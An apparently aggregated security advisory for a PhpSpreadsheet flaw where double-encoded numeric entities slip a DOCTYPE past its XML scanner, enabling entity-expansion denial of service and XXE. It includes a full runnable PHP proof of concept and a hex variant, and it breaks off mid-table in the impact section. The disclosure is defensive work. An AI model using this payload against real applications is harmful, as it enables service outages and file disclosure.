CVE-2026-108357 — Vulnerability intelligence

PHP / Composer — phpoffice/phpspreadsheet, phpoffice/phpspreadsheet

Published:

CVSS
0
CISA KEV
Not listed; not proof of no exploitation

Original source text (not a translation)

PhpSpreadsheet: XmlScanner Bypass via Double-Encoded unentity() TOCTOU Allows XXE and Denial of Service ### Summary The SpreadsheetML XML reader (`Reader\Xml`) scans file content **twice** through `XmlScanner::scan()`, and each scan runs an `unentity()` callback that calls `html_entity_decode()` **after** the pattern check. By double-encoding the `<` character as `&#38;#60;`, the first scan decodes `&#38;` to `&` (forming `&#60;`), and the second scan decodes `&#60;` to `<` (forming `<!DOCTYPE`). Neither scan's pattern check detects the `<!DOCTYPE` string because the callback runs after each check. This enables Denial of Service via entity expansion on **all PHP versions**, and XXE/SSRF on PHP < 8.0 or when `LIBXML_NOENT` is used. ### Details The vulnerability involves an interaction between three code locations: **1. `XmlScanner::scan()`** (XmlScanner.php, lines 87–108) — checks the pattern *before* the callback: ```php public function scan($xml): string { $pattern = '/\0*<\0*!\0*D\0*O\0*...\0*/'; if (preg_match($pattern, $xml)) { // CHECK 1 (raw) throw new Exception('Detected use of ENTITY...'); } $xml = $this->toUtf8($xml); if (preg_match($pattern, $xml)) { // CHECK 2 (UTF-8) throw new Exception('Detected use of ENTITY...'); } if ($this->callback !== null) { $xml = call_user_func($this->callback, $xml); // DECODE (after checks!) } return $xml; // <!DOCTYPE now present, never checked } ``` **2. `Xml::canRead()`** (Xml.php, lines 79–117) — scans and stores the result: ```php $data = file_get_contents($filename); $data = $this->getSecurityScannerOrThrow()->scan($data); // 1st scan // ... $this->fileContents = $data; // stores partially-decoded content ``` **3. `Xml::trySimpleXMLLoadStringPrivate()`** (Xml.php, lines 120–150) — re-scans the stored content: ```php $data = $this->fileContents; // already partially decoded $xml = simplexml_load_string( $this->getSecurityScannerOrThrow()->scan($data) // 2nd scan finishes decoding ); ``` The double-scan decode chain: ``` Raw file: &#38;#60;!DOCTYPE | 1st scan(): pattern check → no match (no "<" character) callback → html_entity_decode(&#38;) = & | Stored: &#60;!DOCTYPE | 2nd scan(): pattern check → no match (no "<" character) callback → html_entity_decode(&#60;) = < | Parser sees: <!DOCTYPE ← never detected by either scan ``` The `unentity()` callback (Xml.php, lines 54–61) protects five named entities (`&amp; &lt; &gt; &quot; &apos;`) via Unicode placeholders, but numeric entities (`&#38; &#60; &#x26; &#x3C;`) are not protected and are decoded by `html_entity_decode()`. ### PoC Save the following as `poc_toctou.php` in a directory with PhpSpreadsheet installed via Composer: ```php <?php require 'vendor/autoload.php'; // Double-encoded: &#38;#60; survives two scan() passes // 1st scan callback: &#38; → & (forms &#60;) // 2nd scan callback: &#60; → < (forms <!DOCTYPE) $entity_value = str_repeat('A', 100000); $refs = str_repeat('&big;', 200); $xml = '<?xml version="1.0"?>' . "\n" . '<?mso-application progid="Excel.Sheet"?>' . "\n" . '&#38;#60;!DOCTYPE Workbook [' . "\n" . ' &#38;#60;!ENTITY big "' . $entity_value . '">' . "\n" . ']>' . "\n" . '<Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet"' . "\n" . ' xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet">' . "\n" . ' <Worksheet ss:Name="Sheet1">' . "\n" . ' <Table><Row><Cell><Data ss:Type="String">' . $refs . '</Data></Cell></Row></Table>' . "\n" . ' </Worksheet>' . "\n" . '</Workbook>'; file_put_contents('poc.xml', $xml); echo "File size: " . filesize('poc.xml') . " bytes\n"; $mem_before = memory_get_usage(true); $reader = new \PhpOffice\PhpSpreadsheet\Reader\Xml(); echo "canRead: " . ($reader->canRead('poc.xml') ? 'true' : 'false') . "\n"; $spreadsheet = $reader->load('poc.xml'); $peak = memory_get_peak_usage(true); echo "Peak memory: " . round($peak / 1024 / 1024, 1) . " MB\n"; $val = $spreadsheet->getActiveSheet()->getCell('A1')->getValue(); echo "Cell A1 length: " . strlen($val) . " bytes\n"; echo "Entity expansion: " . (strlen($val) > 10000 ? "CONFIRMED" : "not detected") . "\n"; ``` Run: `php -d memory_limit=512M poc_toctou.php` **Expected result:** The file loads successfully, bypassing both scan passes. Internal entities expand, consuming ~45 MB of memory. Cell A1 contains 32,767 bytes (PhpSpreadsheet's max cell length, confirming entity expansion). **Hex variant:** Replace `&#38;#60;` with `&#38;#x3C;` — both are decoded by `html_entity_decode()`. **Tested on:** PhpSpreadsheet 5.9.0, PHP 8.5.3, libxml2 2.9.13. ### Impact | Attack | PHP < 8.0 / libxml2 < 2.9 | PHP 8.x / libxml2 2.9+ | |--------|---------------------------|------------------------| | Denial of Service (quadratic blowup) | **Exploitable** | **Exploitable** | | Local file read via SYSTEM entity | **Exploitable** | Blocked by

Sources